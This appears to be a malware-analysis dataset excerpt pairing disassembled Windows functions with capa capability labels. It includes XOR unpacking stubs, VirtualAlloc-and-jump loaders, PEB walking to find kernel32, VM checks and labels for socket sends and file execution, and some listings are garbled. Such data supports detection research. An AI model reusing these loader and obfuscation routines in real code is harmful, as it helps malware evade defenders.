joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00407949
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00407949
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00407949
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00407949
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00407949
mov dword [0x41203c], eax
call fcn.00407949
test eax, eax
jge 0x402550
push 8
call fcn.00407949
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00407949
pop ecx
push 1
call fcn.00407949
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00407949
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00407949
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00407949
jmp 0x402495

Function at 0x407949
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x407958
pop dword [ebp - 0x34]
mov eax, 0xf3224008
add eax, 0xd1e3950
sub dword [ebp - 0x34], eax
push 0x40
push 0x1000
push 0x354b2
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x34]
call dword [eax]
mov ecx, 0x36f7
xor esi, esi
add esi, eax
mov edi, 0xcc858a7e
sub edi, 0xcc444eba
add edi, dword [ebp - 0x34]
mov ebx, 0xde0a989c
sub ebx, 0x87ac63df
mov edx, dword [edi]
sub dword [ebp - 0x1c], edx
xor edx, ebx
sub dword [ebp - 0x1c], 0x96900942
mov dword [esi], edx
xor dword [ebp - 0xc], ecx
add esi, 0x28cb8bb0
add esi, 0xd7347454
add edi, 4
loop 0x4079ae
add eax, 0x64e8b0d3
add eax, 0x9b181ddc
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6aa0625c
sub ecx, 0x6a60625c
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x8003b13
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov dword [0x800438c], 0x30
mov dword [0x8004394], 0x8003424
mov dword [0x8004390], 2
mov dword [0x8004398], 0
mov dword [0x800439c], 0
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp 0x8003b56
mov dword [0x80043a0], eax
mov dword [0x80043b4], 0x80041cc
mov dword [0x80043ac], 0xf
mov dword [0x80040ee], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x80043a4], eax
mov dword [0x80043b8], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x80040f6], ebp
mov dword [0x80043a8], eax
push 0x800438c
call dword [sym.imp.user32.dll_RegisterClassExA]
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x800440c], eax
push 0
push dword [0x80040ee]
push 0
push 0
push 0x1ef
push 0x21c
push 0xffffe688
push 0xfffff524
push 0xcf0000
push str.uno_momento
push str.verba
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x8004404], eax
push 1
push dword [0x8004404]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x8004404]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x8003c14
xor edi, edi
lea ebx, [0x80043bc]
jmp 0x8003c2c
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x8003c1e
jmp 0x8003c40
mov eax, dword [0x80043c4]
call 0x8002b1f
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x40345b
pop dword [ebp - 0x40]
mov eax, 0x40345b
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xb9f93a33
sub dword [ebp - 0x50], 0x6ba6f4e8
mov dword [ebp - 0x4c], 0x24d5e8d8
sub dword [ebp - 0x4c], 0xf2a29c93
mov dword [ebp - 0x48], 0xbe7541e1
add dword [ebp - 0x48], 0x8dd7024d
mov dword [ebp - 0x44], 0x20927162
sub dword [ebp - 0x44], 0x20927162
lea eax, [ebp - 0x50]
push eax
mov eax, 0x1bdf93b1
sub eax, 0x1b9f535d
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x52646238
add dword [ebp - 0x50], 0x220e071e
mov dword [ebp - 0x4c], 0xc01b64c9
sub dword [ebp - 0x4c], 0x7eaf0354
mov dword [ebp - 0x48], 0x88807ae1
add dword [ebp - 0x48], 0xdaeef18b
mov dword [ebp - 0x44], 0xbe6a9a0d
add dword [ebp - 0x44], 0x419565f3
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x8790007f
add eax, 0x78b03fd1
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x36ac3
push 0
call eax
mov ecx, 0xe72c0a22
sub ecx, 0xe72bc2e7
mov edi, eax
mov esi, 0x408400
add esi, dword [ebp - 0x40]
mov ebx, 0x76be9365
sub ebx, 0x612642ab
sub dword [ebp - 8], 0xf5cc4d56
mov edx, dword [esi]
xor edx, ebx
add dword [ebp - 0x20], 0x99e35749
mov dword [edi], edx
sub dword [ebp - 0x38], 0xa0daac46
add edi, 0xe5377132
add edi, 0x1ac88ed2
add esi, 0x9057c073
add esi, 0x6fa83f91
loop 0x403572
add eax, 0x33afb89c
sub eax, 0x33aea8dd
mov ebx, eax
add eax, 5
mov ecx, 0x131cd5d7
sub ecx, 0x12dcd5d7
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x4056f0
Capabilities:
Check for vm using instruction vpcext

Disassembly:
inc ebp
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
jle 0x40575f
sbb al, al
je 0x405714
mov esp, dword [ebp + 0x50160e89]
add al, 4
call dword [eax + 8]
mov eax, dword [esi]
add esp, 4
test eax, eax
jne 0x4056fd
pop esi
pop ebp
and dword [eax - 0x6f6f6ff7], edx
nop
nop
nop
or dword [eax - 0x6f6f6f70], edx
nop
nop
nop
nop
nop
imul eax, eax, 0x90907d1a
nop
lea edx, [eax - 0x6f6f6f70]
nop
nop
push ebp
mov eax, dword [0x5308ec83]
sbb byte [ebp + 8], bl
push edi
jg 0x405734
in al, dx
or byte [ebx + 0x18], dl
pop ebp
or byte [edi + 0x7f], dl
test dword [ebp - 0x6c0f010], 0x56002d00
mov esi, ebx
test eax, esi
invalid
mov eax, dword [esi]
or dword [ecx], eax
push 0
push 0
push eax
call str._nTest_aborted_after_10_failures_n_n
cmp eax, 0x2d1176
je 0x405764
lodsd eax, dword [esi]
push ecx
add al, 0x42
add byte [eax], al
add byte [ebx + 0x27850876], cl
mov esi, dword [esi + 8]
test dword [edi], esp
jne 0x405748
mov esi, ebx
pushal
inc esi
add al, 0x85
sal byte [ecx + ecx - 0x75], 0xe
mov edi, 1
push 0x3e
push ecx
mov dword [esi - 0xb], edi
call fcn.0040a3d0
cmp dh, byte [esi + 8]
test esi, esi
jne 0x40576d
test edi, edi
insd dword es:[edi], dx

Function at 0x405e50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
or byte [eax + 0x5d8b530c], dh
adc byte [esi - 0x7b], dl
fist dword [edi + 0x7d]
sbb byte [ebx + 0x24ee6c01], bh
invalid

Function at 0x44015a
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [pe_dos_header]
mov eax, dword ds:[eax + 0x34]
mov ebp, dword ds:[eax + 0xb8]
jmp 0x440168
push eax
push ecx
push esi
push ebp
mov eax, dword fs:[0x30]
test eax, eax
js 0x44014a
mov eax, dword ds:[eax + 0xc]
mov esi, dword ds:[eax + 0x1c]
lodsd eax, dword [esi]
mov ebp, dword ds:[eax + 8]
mov dword [ebx + 0x60], ebp
mov eax, ebp
cmp word [eax], 0x5a4d
jne 0x440145
add eax, 0x3c
mov ecx, dword [eax]
add ecx, dword [ebx + 0x60]
cmp word [ecx], 0x4550
jne 0x440145
add ecx, 0x78
mov esi, dword [ecx]
add esi, dword [ebx + 0x60]
add esi, 0x18
lodsd eax, dword [esi]
mov dword [ebx + 0x64], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x68], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x6c], eax
lodsd eax, dword [esi]
add eax, dword [ebx + 0x60]
mov dword [ebx + 0x70], eax
pop ebp
pop esi
pop ecx
pop eax
ret
Function at 0x432003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..rsrc
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
je 0x432072
nop
nop
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0xf912a8a
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x65737555
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
loop 0x4320c0
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401bd7
pop dword [ebp - 0x38]
mov eax, 0x401bd7
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x49ae2e98
sub dword [ebp - 0x48], 0xfb5be94d
mov dword [ebp - 0x44], 0xbc7810c0
sub dword [ebp - 0x44], 0x8a44c47b
mov dword [ebp - 0x40], 0x565067cf
add dword [ebp - 0x40], 0xf5fbdc5f
mov dword [ebp - 0x3c], 0x941f42b1
sub dword [ebp - 0x3c], 0x941f42b1
lea eax, [ebp - 0x48]
push eax
mov eax, 0x44e388a1
add eax, 0xbb5ce7bf
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0x529ae9ff
sub dword [ebp - 0x48], 0xde2880a9
mov dword [ebp - 0x44], 0xa74db76c
add dword [ebp - 0x44], 0x9a1eaa09
mov dword [ebp - 0x40], 0x9969c0df
sub dword [ebp - 0x40], 0x35fa5473
mov dword [ebp - 0x3c], 0x23d3b8bd
add dword [ebp - 0x3c], 0xdc2c4743
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x1e042c6b
add eax, 0xe23c4495
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x3644b
push 0
call eax
mov ecx, 0x8741200
sub ecx, 0x873cb3a
mov edi, eax
mov esi, 0x57bd4b81
add esi, 0xa883b47f
add esi, dword [ebp - 0x38]
mov ebx, 0x65044ea6
mov dword [ebp - 0x34], 0xed7fa269
mov edx, dword [esi]
sub dword [ebp - 0x18], edi
xor edx, ebx
xor dword [ebp - 0x18], 0x43d0c36c
mov dword [edi], edx
add edi, 4
add esi, 0x9aada2e2
add esi, 0x65525d22
loop 0x401cee
add eax, 0x605e71fa
add eax, 0x9fa29bf1
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x36ea9dae
sub ecx, 0x36aa9dae
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x40688e
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x40689c
call 0x8566861
mov al, byte [0x8b640041]
cmp eax, 0x30
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x42ae30], eax
sub eax, eax
je 0x4068c1
call 0xa8cf51a8
invalid
call 0x401154
call 0x406651
pop edi
xor eax, eax
pop esi
ret

Function at 0x407515
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407554
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407554
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407554
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407554
cmp dword [ecx + 0x74], 0xe
jbe 0x407554
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d5eb
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2c8
push 0x41c2c0
push str.FlsAlloc
push 0x1e
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d61f
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
jmp 0x40d625
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d669
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2d8
push 0x41c2d0
push str.FlsGetValue
push 0x20
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d6a0
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x418a50
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x418a7d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x418a7d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x432030
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x401154
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
xor esi, esi
call edi
mov al, byte [esi + 0x4228d0]
mov byte [esi + 0x4228d0], al
call edi
add byte [esi + 0x4228d0], 0xca
call edi
xor byte [esi + 0x4228d0], 0xc4
call edi
add byte [esi + 0x4228d0], 0xb9
call edi
add byte [esi + 0x4228d0], 0xf8
call edi
add byte [esi + 0x4228d0], 0x60
call edi
add byte [esi + 0x4228d0], 0x45
call edi
xor byte [esi + 0x4228d0], 0x85
call edi
add byte [esi + 0x4228d0], 0xe7
call edi
add byte [esi + 0x4228d0], 0xd2
call edi
xor byte [esi + 0x4228d0], 0xb8
call edi
add byte [esi + 0x4228d0], 0xc4
call edi
add byte [esi + 0x4228d0], 0xa1
call edi
add byte [esi + 0x4228d0], 0x34
call edi
add byte [esi + 0x4228d0], 0x87
call edi
add byte [esi + 0x4228d0], 0x28
call edi
xor byte [esi + 0x4228d0], 0x9f
call edi
add byte [esi + 0x4228d0], 0x26
call edi
add byte [esi + 0x4228d0], 0x10
call edi
add byte [esi + 0x4228d0], 0x1f
call edi
add byte [esi + 0x4228d0], 0x37
call edi
add byte [esi + 0x4228d0], 0xc9
call edi
add byte [esi + 0x4228d0], 0x9e
call edi
add byte [esi + 0x4228d0], 8
call edi
add byte [esi + 0x4228d0], 0x44
call edi
xor byte [esi + 0x4228d0], 0x55
call edi
add byte [esi + 0x4228d0], 0x46
call edi
add byte [esi + 0x4228d0], 0xe4
call edi
add byte [esi + 0x4228d0], 0xa6
call edi
add byte [esi + 0x4228d0], 0x9b
call edi
add byte [esi + 0x4228d0], 0x51
call edi
xor byte [esi + 0x4228d0], 0x3d
call edi
xor byte [esi + 0x4228d0], 0x4a
call edi
xor byte [esi + 0x4228d0], 0xd5
call edi
add byte [esi + 0x4228d0], 0xd0
call edi
add byte [esi + 0x4228d0], 0x41
call edi
xor byte [esi + 0x4228d0], 0xf5
call edi
add byte [esi + 0x4228d0], 0xa3
call edi
add byte [esi + 0x4228d0], 0x99
call edi
xor byte [esi + 0x4228d0], 0x15
call edi
add byte [esi + 0x4228d0], 0x64
call edi
xor byte [esi + 0x4228d0], 0xaa
call edi
add byte [esi + 0x4228d0], 0xce
call edi
xor byte [esi + 0x4228d0], 0x97
call edi
add byte [esi + 0x4228d0], 0x27
call edi
xor byte [esi + 0x4228d0], 0xfb
call edi
add byte [esi + 0x4228d0], 0x21
call edi
add byte [esi + 0x4228d0], 0xf9
call edi
add byte [esi + 0x4228d0], 0x21
inc esi
cmp esi, 0x2b800
jb 0x40115e
pop edi
pop esi
ret
Function at 0x40132c
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea ebp, [esi + 0x10]
mov edi, dword [ebp]
mov ebx, edi
xor ebx, 0x14d
mov dword [esp + 0x18], ebp
cmp dword [esi + 0x14], 0x10
jb 0x40134f
mov esi, dword [esi]
shr edi, 2
push esi
push edi
push str._x_and__p
mov dword [esp + 0x20], edi
call fcn.00401026
add esp, 0xc
test edi, edi
je 0x4013ac
mov ebp, esi
push 4
lea eax, [esp + 0x14]
push ebp
push eax
call fcn.004078d0
imul ecx, dword [esp + 0x1c], 0x5bd1e991
add esp, 0xc
imul ebx, ebx, 0x5bd1e991
add ebp, 4
mov eax, ecx
shr eax, 0x18
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov dword [esp + 0x10], eax
sub edi, 1
jne 0x40136b
mov edi, dword [esp + 0x14]
mov ebp, dword [esp + 0x18]
mov eax, dword [ebp]
xor ecx, ecx
and eax, 3
sub eax, 1
je 0x4013d5
sub eax, 1
je 0x4013cb
sub eax, 1
jne 0x4013e3
movsx ecx, byte [esi + edi*4 + 2]
shl ecx, 0x10
movsx eax, byte [esi + edi*4 + 1]
shl eax, 8
xor ecx, eax
movsx eax, byte [esi + edi*4]
xor eax, ecx
imul eax, eax, 0x5bd1e991
xor ebx, eax
mov eax, ebx
shr eax, 0xd
xor eax, ebx
imul ecx, eax, 0x5bd1e991
pop edi
pop esi
pop ebp
pop ebx
mov eax, ecx
shr eax, 0xf
xor eax, ecx
add esp, 0xc
ret
Function at 0x401000
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ebp, esp
add esp, 0xfffffffc
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [0x4033ec], eax
mov eax, dword [ebp + 4]
mov dword [0x40321d], eax
xor eax, eax
mov ecx, 0x16
push eax
dec ecx
jne 0x401020
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x7f00
push esi
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [ebp - 0x5c]
push ecx
mov eax, 0x30
mov dword [ecx], eax
mov eax, dword [0x40321d]
mov dword [ebp - 0x48], eax
mov eax, 0x4016dc
mov dword [ebp - 0x54], eax
mov ecx, str.Hello
mov dword [ebp - 0x34], ecx
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor ecx, ecx
push ecx
push dword [0x40321d]
push ecx
push ecx
push 0x12e
push 0x7a
push 0x34c
push 0x2aa
push 0x40000
lea eax, str.lukifas
push eax
mov eax, str.Hello
push eax
push ecx
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403438], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x403438]
push eax
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
lea edi, [ebp - 0x50]
jmp 0x4010bc
push edi
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_GetMessageA]
test al, al
jne 0x4010b5
mov esp, ebp
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x42e00c
nop
nop
nop
pop eax
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
jmp int.00401219
Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43000c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp fcn.00401219
Function at 0x402770
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add al, 0
add byte [eax], al
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
inc edx
cld
invalid
call dword [edx]
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.00401e93
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00401e48
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.00401e93
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00401e48
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.00401e83
or eax, 0x80bd5442
movsd dword es:[edi], dword [esi]
int3

Function at 0x4040b0
Capabilities:
Capture screenshot
Create process on windows
Set current directory
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
jne 0x4040ba
push dword [ebp + 4]
push dword [ebp]
in eax, 0xff
inc dword [eax]
mov eax, eax

Function at 0x407080
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, dword [0x409214]
mov dword [eax], ecx
mov ebx, edx
test ebx, ebx
jle 0x4070a1
mov eax, 0xff
call fcn.00402680
xor byte [esi], al
inc esi
dec ebx
jne 0x407091
pop esi
pop ebx
ret